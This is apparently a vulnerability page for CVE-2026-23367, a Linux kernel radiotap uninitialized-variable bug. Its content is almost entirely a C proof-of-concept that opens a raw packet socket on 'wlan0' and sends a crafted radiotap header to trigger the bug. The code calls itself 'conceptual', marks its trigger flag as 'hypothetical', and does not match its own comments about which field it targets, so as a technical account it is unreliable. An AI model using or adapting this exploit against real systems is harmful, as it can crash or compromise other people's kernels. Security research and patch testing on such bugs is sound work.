CVE-2026-23367: Linux内核wifi radiotap未初始化变量漏洞

// PoC for CVE-2026-23367: Linux Kernel radiotap uninitialized variable // This is a conceptual PoC demonstrating how to craft a malformed radiotap header. // Compilation: gcc -o poc_radiotap poc_radiotap.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <net/if.h> int main() { int sockfd; struct sockaddr_ll sa; char buffer[256]; // Create a raw socket for 802.11 frames sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("Socket creation failed"); return 1; } memset(&sa, 0, sizeof(sa)); // Set interface index (e.g., wlan0), usually requires finding the index first sa.sll_ifindex = if_nametoindex("wlan0"); sa.sll_family = AF_PACKET; // Construct malformed Radiotap header // This header attempts to include an undefined field to trigger the bug. memset(buffer, 0, sizeof(buffer)); // Radiotap header version buffer[0] = 0; // Length of header (set arbitrarily for PoC) buffer[2] = 20; // Present flags bitmap - setting a bit that might lead to undefined field parsing // exploiting the logic where field 18 is undefined buffer[4] = 0x00; buffer[5] = 0x04; // Hypothetical flag to trigger undefined field path // Send the packet if (sendto(sockfd, buffer, 64, 0, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("Send failed"); } else { printf("Malformed packet sent to trigger CVE-2026-23367\n"); } close(sockfd); return 0; }